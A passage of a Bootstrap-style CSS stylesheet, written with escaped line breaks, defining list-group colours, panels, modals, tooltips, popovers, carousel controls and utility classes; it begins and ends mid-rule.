#31708f;\n}\n.list-group-item-warning {\n color: #8a6d3b;\n background-color: #fcf8e3;\n}\na.list-group-item-warning,\nbutton.list-group-item-warning {\n color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading,\nbutton.list-group-item-warning .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-warning:hover,\nbutton.list-group-item-warning:hover,\na.list-group-item-warning:focus,\nbutton.list-group-item-warning:focus {\n color: #8a6d3b;\n background-color: #faf2cc;\n}\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\nbutton.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus,\nbutton.list-group-item-warning.active:focus {\n color: #fff;\n background-color: #8a6d3b;\n border-color: #8a6d3b;\n}\n.list-group-item-danger {\n color: #a94442;\n background-color: #f2dede;\n}\na.list-group-item-danger,\nbutton.list-group-item-danger {\n color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading,\nbutton.list-group-item-danger .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-danger:hover,\nbutton.list-group-item-danger:hover,\na.list-group-item-danger:focus,\nbutton.list-group-item-danger:focus {\n color: #a94442;\n background-color: #ebcccc;\n}\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\nbutton.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus,\nbutton.list-group-item-danger.active:focus {\n color: #fff;\n background-color: #a94442;\n border-color: #a94442;\n}\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n.panel {\n margin-bottom: 20px;\n background-color: #fff;\n border: 1px solid transparent;\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n}\n.panel-body {\n padding: 15px;\n}\n.panel-heading {\n padding: 10px 15px;\n border-bottom: 1px solid transparent;\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n color: inherit;\n}\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: 16px;\n color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n color: inherit;\n}\n.panel-footer {\n padding: 10px 15px;\n background-color: #f5f5f5;\n border-top: 1px solid #ddd;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n border-top: 0;\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n border-bottom: 0;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n border-top-width: 0;\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n padding-right: 15px;\n padding-left: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n border-bottom: 0;\n}\n.panel > .table-responsive {\n margin-bottom: 0;\n border: 0;\n}\n.panel-group {\n margin-bottom: 20px;\n}\n.panel-group .panel {\n margin-bottom: 0;\n border-radius: 4px;\n}\n.panel-group .panel + .panel {\n margin-top: 5px;\n}\n.panel-group .panel-heading {\n border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n border-bottom: 1px solid #ddd;\n}\n.panel-default {\n border-color: #ddd;\n}\n.panel-default > .panel-heading {\n color: #333;\n background-color: #f5f5f5;\n border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ddd;\n}\n.panel-default > .panel-heading .badge {\n color: #f5f5f5;\n background-color: #333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ddd;\n}\n.panel-primary {\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #337ab7;\n}\n.panel-success {\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n color: #3c763d;\n background-color: #dff0d8;\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n color: #dff0d8;\n background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #d6e9c6;\n}\n.panel-info {\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n color: #31708f;\n background-color: #d9edf7;\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n color: #d9edf7;\n background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #bce8f1;\n}\n.panel-warning {\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n color: #8a6d3b;\n background-color: #fcf8e3;\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n color: #fcf8e3;\n background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #faebcc;\n}\n.panel-danger {\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n color: #a94442;\n background-color: #f2dede;\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n color: #f2dede;\n background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n width: 100%;\n height: 100%;\n border: 0;\n}\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border: 1px solid #e3e3e3;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n}\n.well blockquote {\n border-color: #ddd;\n border-color: rgba(0, 0, 0, .15);\n}\n.well-lg {\n padding: 24px;\n border-radius: 6px;\n}\n.well-sm {\n padding: 9px;\n border-radius: 3px;\n}\n.close {\n float: right;\n font-size: 21px;\n font-weight: bold;\n line-height: 1;\n color: #000;\n text-shadow: 0 1px 0 #fff;\n filter: alpha(opacity=20);\n opacity: .2;\n}\n.close:hover,\n.close:focus {\n color: #000;\n text-decoration: none;\n cursor: pointer;\n filter: alpha(opacity=50);\n opacity: .5;\n}\nbutton.close {\n -webkit-appearance: none;\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n}\n.modal-open {\n overflow: hidden;\n}\n.modal {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n display: none;\n overflow: hidden;\n -webkit-overflow-scrolling: touch;\n outline: 0;\n}\n.modal.fade .modal-dialog {\n -webkit-transition: -webkit-transform .3s ease-out;\n -o-transition: -o-transform .3s ease-out;\n transition: transform .3s ease-out;\n -webkit-transform: translate(0, -25%);\n -ms-transform: translate(0, -25%);\n -o-transform: translate(0, -25%);\n transform: translate(0, -25%);\n}\n.modal.in .modal-dialog {\n -webkit-transform: translate(0, 0);\n -ms-transform: translate(0, 0);\n -o-transform: translate(0, 0);\n transform: translate(0, 0);\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n.modal-content {\n position: relative;\n background-color: #fff;\n -webkit-background-clip: padding-box;\n background-clip: padding-box;\n border: 1px solid #999;\n border: 1px solid rgba(0, 0, 0, .2);\n border-radius: 6px;\n outline: 0;\n -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n}\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000;\n}\n.modal-backdrop.fade {\n filter: alpha(opacity=0);\n opacity: 0;\n}\n.modal-backdrop.in {\n filter: alpha(opacity=50);\n opacity: .5;\n}\n.modal-header {\n padding: 15px;\n border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n margin-top: -2px;\n}\n.modal-title {\n margin: 0;\n line-height: 1.42857143;\n}\n.modal-body {\n position: relative;\n padding: 15px;\n}\n.modal-footer {\n padding: 15px;\n text-align: right;\n border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n margin-bottom: 0;\n margin-left: 5px;\n}\n.modal-footer .btn-group .btn + .btn {\n margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n margin-left: 0;\n}\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n@media (min-width: 768px) {\n .modal-dialog {\n width: 600px;\n margin: 30px auto;\n }\n .modal-content {\n -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n }\n .modal-sm {\n width: 300px;\n }\n}\n@media (min-width: 992px) {\n .modal-lg {\n width: 900px;\n }\n}\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-size: 12px;\n font-style: normal;\n font-weight: normal;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n white-space: normal;\n filter: alpha(opacity=0);\n opacity: 0;\n\n line-break: auto;\n}\n.tooltip.in {\n filter: alpha(opacity=90);\n opacity: .9;\n}\n.tooltip.top {\n padding: 5px 0;\n margin-top: -3px;\n}\n.tooltip.right {\n padding: 0 5px;\n margin-left: 3px;\n}\n.tooltip.bottom {\n padding: 5px 0;\n margin-top: 3px;\n}\n.tooltip.left {\n padding: 0 5px;\n margin-left: -3px;\n}\n.tooltip-inner {\n max-width: 200px;\n padding: 3px 8px;\n color: #fff;\n text-align: center;\n background-color: #000;\n border-radius: 4px;\n}\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n right: 5px;\n bottom: 0;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n bottom: 0;\n left: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -5px;\n border-width: 5px 5px 5px 0;\n border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -5px;\n border-width: 5px 0 5px 5px;\n border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n top: 0;\n right: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n top: 0;\n left: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: none;\n max-width: 276px;\n padding: 1px;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-size: 14px;\n font-style: normal;\n font-weight: normal;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n white-space: normal;\n background-color: #fff;\n -webkit-background-clip: padding-box;\n background-clip: padding-box;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, .2);\n border-radius: 6px;\n -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n\n line-break: auto;\n}\n.popover.top {\n margin-top: -10px;\n}\n.popover.right {\n margin-left: 10px;\n}\n.popover.bottom {\n margin-top: 10px;\n}\n.popover.left {\n margin-left: -10px;\n}\n.popover-title {\n padding: 8px 14px;\n margin: 0;\n font-size: 14px;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-radius: 5px 5px 0 0;\n}\n.popover-content {\n padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.popover > .arrow {\n border-width: 11px;\n}\n.popover > .arrow:after {\n content: \"\";\n border-width: 10px;\n}\n.popover.top > .arrow {\n bottom: -11px;\n left: 50%;\n margin-left: -11px;\n border-top-color: #999;\n border-top-color: rgba(0, 0, 0, .25);\n border-bottom-width: 0;\n}\n.popover.top > .arrow:after {\n bottom: 1px;\n margin-left: -10px;\n content: \" \";\n border-top-color: #fff;\n border-bottom-width: 0;\n}\n.popover.right > .arrow {\n top: 50%;\n left: -11px;\n margin-top: -11px;\n border-right-color: #999;\n border-right-color: rgba(0, 0, 0, .25);\n border-left-width: 0;\n}\n.popover.right > .arrow:after {\n bottom: -10px;\n left: 1px;\n content: \" \";\n border-right-color: #fff;\n border-left-width: 0;\n}\n.popover.bottom > .arrow {\n top: -11px;\n left: 50%;\n margin-left: -11px;\n border-top-width: 0;\n border-bottom-color: #999;\n border-bottom-color: rgba(0, 0, 0, .25);\n}\n.popover.bottom > .arrow:after {\n top: 1px;\n margin-left: -10px;\n content: \" \";\n border-top-width: 0;\n border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n top: 50%;\n right: -11px;\n margin-top: -11px;\n border-right-width: 0;\n border-left-color: #999;\n border-left-color: rgba(0, 0, 0, .25);\n}\n.popover.left > .arrow:after {\n right: 1px;\n bottom: -10px;\n content: \" \";\n border-right-width: 0;\n border-left-color: #fff;\n}\n.carousel {\n position: relative;\n}\n.carousel-inner {\n position: relative;\n width: 100%;\n overflow: hidden;\n}\n.carousel-inner > .item {\n position: relative;\n display: none;\n -webkit-transition: .6s ease-in-out left;\n -o-transition: .6s ease-in-out left;\n transition: .6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n .carousel-inner > .item {\n -webkit-transition: -webkit-transform .6s ease-in-out;\n -o-transition: -o-transform .6s ease-in-out;\n transition: transform .6s ease-in-out;\n\n -webkit-backface-visibility: hidden;\n backface-visibility: hidden;\n -webkit-perspective: 1000px;\n perspective: 1000px;\n }\n .carousel-inner > .item.next,\n .carousel-inner > .item.active.right {\n left: 0;\n -webkit-transform: translate3d(100%, 0, 0);\n transform: translate3d(100%, 0, 0);\n }\n .carousel-inner > .item.prev,\n .carousel-inner > .item.active.left {\n left: 0;\n -webkit-transform: translate3d(-100%, 0, 0);\n transform: translate3d(-100%, 0, 0);\n }\n .carousel-inner > .item.next.left,\n .carousel-inner > .item.prev.right,\n .carousel-inner > .item.active {\n left: 0;\n -webkit-transform: translate3d(0, 0, 0);\n transform: translate3d(0, 0, 0);\n }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n display: block;\n}\n.carousel-inner > .active {\n left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n}\n.carousel-inner > .next {\n left: 100%;\n}\n.carousel-inner > .prev {\n left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n left: 0;\n}\n.carousel-inner > .active.left {\n left: -100%;\n}\n.carousel-inner > .active.right {\n left: 100%;\n}\n.carousel-control {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n width: 15%;\n font-size: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n background-color: rgba(0, 0, 0, 0);\n filter: alpha(opacity=50);\n opacity: .5;\n}\n.carousel-control.left {\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001)));\n background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n background-repeat: repeat-x;\n}\n.carousel-control.right {\n right: 0;\n left: auto;\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5)));\n background-image: linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n background-repeat: repeat-x;\n}\n.carousel-control:hover,\n.carousel-control:focus {\n color: #fff;\n text-decoration: none;\n filter: alpha(opacity=90);\n outline: 0;\n opacity: .9;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n z-index: 5;\n display: inline-block;\n margin-top: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n width: 20px;\n height: 20px;\n font-family: serif;\n line-height: 1;\n}\n.carousel-control .icon-prev:before {\n content: '\\2039';\n}\n.carousel-control .icon-next:before {\n content: '\\203a';\n}\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n padding-left: 0;\n margin-left: -30%;\n text-align: center;\n list-style: none;\n}\n.carousel-indicators li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n cursor: pointer;\n background-color: #000 \\9;\n background-color: rgba(0, 0, 0, 0);\n border: 1px solid #fff;\n border-radius: 10px;\n}\n.carousel-indicators .active {\n width: 12px;\n height: 12px;\n margin: 0;\n background-color: #fff;\n}\n.carousel-caption {\n position: absolute;\n right: 15%;\n bottom: 20px;\n left: 15%;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n}\n.carousel-caption .btn {\n text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-prev,\n .carousel-control .icon-next {\n width: 30px;\n height: 30px;\n margin-top: -10px;\n font-size: 30px;\n }\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .icon-prev {\n margin-left: -10px;\n }\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-next {\n margin-right: -10px;\n }\n .carousel-caption {\n right: 20%;\n left: 20%;\n padding-bottom: 30px;\n }\n .carousel-indicators {\n bottom: 20px;\n }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-header:before,\n.modal-header:after,\n.modal-footer:before,\n.modal-footer:after {\n display: table;\n content: \" \";\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-header:after,\n.modal-footer:after {\n clear: both;\n}\n.center-block {\n display: block;\n margin-right: auto;\n margin-left: auto;\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n.hidden {\n display: none !important;\n}\n.affix {\n position: fixed;\n}\n@-ms-viewport {\n width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n display: none 